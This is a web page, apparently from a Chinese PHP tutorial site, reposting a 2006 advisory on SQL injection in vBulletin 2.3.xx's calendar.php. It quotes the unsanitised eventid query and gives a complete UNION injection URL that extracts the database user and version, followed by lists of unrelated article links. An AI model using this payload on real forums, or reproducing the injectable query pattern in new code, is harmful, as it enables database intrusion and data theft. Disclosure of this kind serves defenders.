vBulletin Forum 2.3.xx SQL Injection


Posted in PHP onOctober 09, 2006

vBulletin Forum 2.3.xx SQL Injection There exist a sql injection problem in calendar.php.

-------- Cut from line 585 in calendar.php ----------
else if ($action == "edit")
{
      $eventinfo = $DB_site->query_first("SELECT allowsmilies,public,userid,
eventdate,event,subject FROM calendar_events WHERE eventid = $eventid");
-----------------------------------------------------

If the MySQL version is greater than 4.00, a UNION attack could be used.

-----------------------------------------
http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_ev
ents%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate
-----------------------------------------

The query_first function will only return the first row of the query result, so make sure it returns !
the one you want.

PHP 相关文章推荐
Win2000+Apache+MySql+PHP4+PERL安装使用小结
Oct 09 PHP
php 搜索框提示(自动完成)实例代码
Feb 05 PHP
基于PHP导出Excel的小经验 完美解决乱码问题
Jun 10 PHP
php使用strtotime和date函数判断日期是否有效代码分享
Dec 25 PHP
ThinkPHP缓存方法S()概述
Jun 13 PHP
跟我学Laravel之视图 & Response
Oct 15 PHP
PHP学习笔记(三):数据类型转换与常量介绍
Apr 17 PHP
php实现的简单检验登陆类
Jun 18 PHP
Zend Framework教程之模型Model基本规则和使用方法
Mar 04 PHP
PHP面向对象程序设计之类与反射API详解
Dec 02 PHP
php使用lua+redis实现限流,计数器模式,令牌桶模式
Apr 04 PHP
PHP设计模式之适配器模式(Adapter)原理与用法详解
Dec 12 PHP
PHP_Flame(Version:Progress)的原代码
Oct 09 #PHP
图形数字验证代码
Oct 09 #PHP
用PHP函数解决SQL injection
Oct 09 #PHP
session 的生命周期是多长
Oct 09 #PHP
做个自己站内搜索引擎
Oct 09 #PHP
用libTemplate实现静态网页的生成
Oct 09 #PHP
php注入实例
Oct 09 #PHP
You might like
我的论坛源代码(六)
2006/10/09 PHP
PHP获取文件的MD5值并判断是否被修改的例子
2014/06/19 PHP
浅析PHP中strlen和mb_strlen的区别
2014/08/31 PHP
(推荐一个超好的JS函数库)S.Sams Lifexperience ScriptClassLib
2007/04/29 Javascript
关于js中alert弹出窗口文本换行问题简单详细说明
2012/12/11 Javascript
JavaScript 32位整型无符号操作示例
2013/12/08 Javascript
javascript正则表达式之分组概念与用法实例
2016/06/16 Javascript
微信小程序 devtool隐藏的秘密
2017/01/21 Javascript
js 将input框中的输入自动转化成半角大写(税号输入框)
2017/02/16 Javascript
详解从Vue.js源码看异步更新DOM策略及nextTick
2017/10/11 Javascript
js推箱子小游戏步骤代码解析
2018/01/10 Javascript
利用Node.js批量抓取高清妹子图片实例教程
2018/08/02 Javascript
Vue表单及表单绑定方法
2018/09/04 Javascript
js实现抽奖的两种方法
2020/03/19 Javascript
简单了解Vue + ElementUI后台管理模板
2020/04/07 Javascript
Vue页面跳转传递参数及接收方式
2020/09/09 Javascript
vue 导出文件,携带请求头token操作
2020/09/10 Javascript
[39:08]完美世界DOTA2联赛PWL S3 LBZS vs CPG 第一场 12.12
2020/12/16 DOTA
使用python遍历指定城市的一周气温
2017/03/31 Python
Python 数值区间处理_对interval 库的快速入门详解
2018/11/16 Python
Python3 JSON编码解码方法详解
2019/09/06 Python
简单瞅瞅Python vars()内置函数的实现
2019/09/27 Python
python实现输入的数据在地图上生成热力图效果
2019/12/06 Python
python GUI库图形界面开发之PyQt5日期时间控件QDateTimeEdit详细使用方法与实例
2020/02/27 Python
世界最大域名注册商:GoDaddy
2016/07/24 全球购物
Nike台湾官方商店:Nike.com (TW)
2017/08/16 全球购物
可持续未来的时尚基础:Alternative Apparel
2019/05/06 全球购物
高中毕业生的个人自我评价
2014/02/21 职场文书
货车司机岗位职责
2014/03/18 职场文书
房产委托公证书
2014/04/08 职场文书
幼儿园大班区域活动总结
2014/07/09 职场文书
调研座谈会发言材料
2014/08/23 职场文书
感谢信模板大全
2015/01/23 职场文书
导游词之河北白洋淀
2020/01/15 职场文书
台式电脑蓝牙适配器怎么安装?台式电脑蓝牙适配器安装教程
2022/04/08 数码科技
Nginx利用Logrotate实现日志分割
2022/05/20 Servers